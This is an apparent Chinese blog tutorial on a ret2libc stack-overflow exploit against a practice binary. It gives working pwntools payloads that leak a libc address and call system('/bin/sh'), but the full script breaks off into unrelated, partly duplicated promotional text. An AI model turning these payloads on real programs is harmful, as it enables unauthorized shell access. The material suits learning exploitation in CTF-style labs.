堆栈认知——栈溢出实例(ret2libc)_栈溢出举例

2、ret2libc基本思路

在当一个程序开启了NX(栈不可执行)的时候,我们没办法去写shellcode,而且程序中也没有system函数供我们调用的时候,那此时我们该如何做呢?

首先,程序本身没有system,但是我们需要getshell,那么就必须要通过system才可以,那么程序中没有system,哪里有呢?毋庸置疑libc库中有system呀,此时我们就需要通过程序中的libc的函数来泄露libc中的system地址。从而执行system函数,并传递给system函数参数为“/bin/sh”,从而getshell。

思路说完了来实战一下吧。

3、实战

3.1、二进制程序

在这里插入图片描述
我们使用IDA查看一下汇编代码:
在这里插入图片描述
反编译成C语言看一下:

在这里插入图片描述
此时程序中有gets函数,并且s的长度未做限制,那么gets函数就是溢出点,通过gets来进行栈溢出。其中还有puts函数,我们就可通过gets函数来泄露libc中的system函数地址,用puts函数将其打印出来。

注意:在泄露的时候我们需要通过gets函数的got表地址加偏移来泄露got表中的system函数地址,具体含义可百度一下,这里不过过深的说明。

3.2、查看栈结构

接下来我们就是用gdb查看一下栈结构:
在这里插入图片描述
在这里插入图片描述
此时我们eax(gets函数第一个参数地址)的地址为:0xffffd3fc
ebp地址为:0xffffd468
ret-address的地址为:0xffffd46c

所以我们想覆盖到ebp(不包含ebp)的话就需要:0xffffd468-0xffffd3fc=0x6c 长度的字符串 ,覆盖ebp的话就得在家0x4个字节,此时就到了ret-address的地址了,到这这里我们需要返回到哪呢?

正如上面所说我们需要通过gets函数来泄露got表中system地址。

到此我们并不能getshell,我们还需要在来一次栈溢出从而执行system来获取getshell,那么如何再来一次栈溢出呢?

我们可以在执行完puts函数后让其执行main函数,那么程序又会执行gets函数了,那么我们就可以在做一次栈溢出啦。

3.3、第一次栈溢出

第一次栈溢出我们需要泄露libc中的gets函数的地址,其第一次操作时候我们所希望的栈结构如下:

在这里插入图片描述
如何查找一个程序的rop链呢?

ROPgadget  --binary ret2libc3 --only "pop|ret"

工具:ROPgadget

参数含义
–binary二进制程序
–only正则匹配

在这里插入图片描述
在这里我们使用的是pop ebp ; ret。部分Python代码如下:

puts_addr = elf.plt["puts"]   #获取pust函数的plt地址
gets_got  = elf.got["gets"]   #获取gets函数的libc地址
pop_ebp_ret = 0x080486ff      #rop链地址
main_addr = elf.symbols["main"]  #main函数地址
payload = 'a'*0x6c + "junk" +p32(puts_addr) + p32(pop_ebp_ret) + p32(gets_got) + p32(main_addr) #payload
p.sendlineafter("Can you find it !?",payload) #在打印Can you find it !?之后注入payload
gets_addr = u32(p.recv(4))  #接收gets函数的libc地址

到此时我们就到了gets函数的libc中的地址,那么接下来我们就要获取system函数在libc中的地址。

现在有了gets函数的libc地址,我们需要先获取libc库的基地址,在获取system函数地址。

libc库的基地址如何获取呢?
我们就用获取到的gets函数的libc地址减去其偏移就可以啦。

具体Python代码如下:

libc.address = gets_addr - libc.symbols["gets"]  # 获取libc的基地址
system_addr = libc.symbols["system"]             # 得到system函数的libc地址

那么我们的准备工作就做完了,就可以开始第二次的栈溢出来获取getshell啦。

3.4、第二次栈溢出

此时我们已经拿到了system函数的libc地址,我们只需要执行system函数,并给他传入参数“/bin/sh”
就可以getshell啦。

如何传入参数“/bin/sh”呢?

我们可在栈溢出的时候,再让其执行gets函数,给其输入一个“/bin/sh”就好啦,值得注意的是:我们输入的“/bin/sh”需要放到bss段中的一个地址上去,因为这个不会随着函数的栈被覆盖或回收等机制导致我们找不到“/bin/sh”的地址了。

bss_addr = 0x0804A080        #程序中一个bss段地址
gets\_addr= elf.plt["gets"]   #程序中gets函数地址
payload2= 'a'*0x6c + "junk" + p32(gets_addr) + p32(system_addr) + p32(bss_addr)+p32(bss_addr)
p.sendlineafter("Can you find it !?",payload2)
p.sendline("/bin/sh")    # 输入一个“/bin/sh”

此时我们分析已经完成了,来康康结果吧:

在这里插入图片描述

此时我们已经getshell啦,大功告成 respect。

完整的Python脚本如下:

from pwn import \*
import sys


## 最后

**自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。**

**深知大多数Java工程师,想要提升技能,往往是自己摸索成长,自己不成体系的自学效果低效漫长且无助。**

**因此收集整理了一份《2024年嵌入式&物联网开发全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友,同时减轻大家的负担。**

![img](https://img-blog.csdnimg.cn/img_convert/1004e4943ebe3c63f2f17b6581fb86c0.png)

![img](https://img-blog.csdnimg.cn/img_convert/a8f989404ce3b536065c4e740f5f2e21.jpeg)

![img](https://img-blog.csdnimg.cn/img_convert/18324b633c6fd3aa9f39deca1ed5c746.png)

 ![img](https://img-blog.csdnimg.cn/img_convert/65cdaf91b21b07819e31a2cd26bc766f.png)

![img](https://img-blog.csdnimg.cn/img_convert/79422b2135c7962bbdf27e36f60ec241.png)

![img](https://img-blog.csdnimg.cn/img_convert/7ffdcff3221ff956cbf401fc6ced14bc.png)

![](https://img-blog.csdnimg.cn/img_convert/9d4d18b25ddb98ccac958e84dcdecf5f.png)

 

**既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上嵌入式&物联网开发知识点,真正体系化!**

[**如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!**](https://bbs.csdn.net/topics/618654289)

**由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新**!!


95%以上嵌入式&物联网开发知识点,真正体系化!**

[**如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!**](https://bbs.csdn.net/topics/618654289)

**由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新**!!


  • 22
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值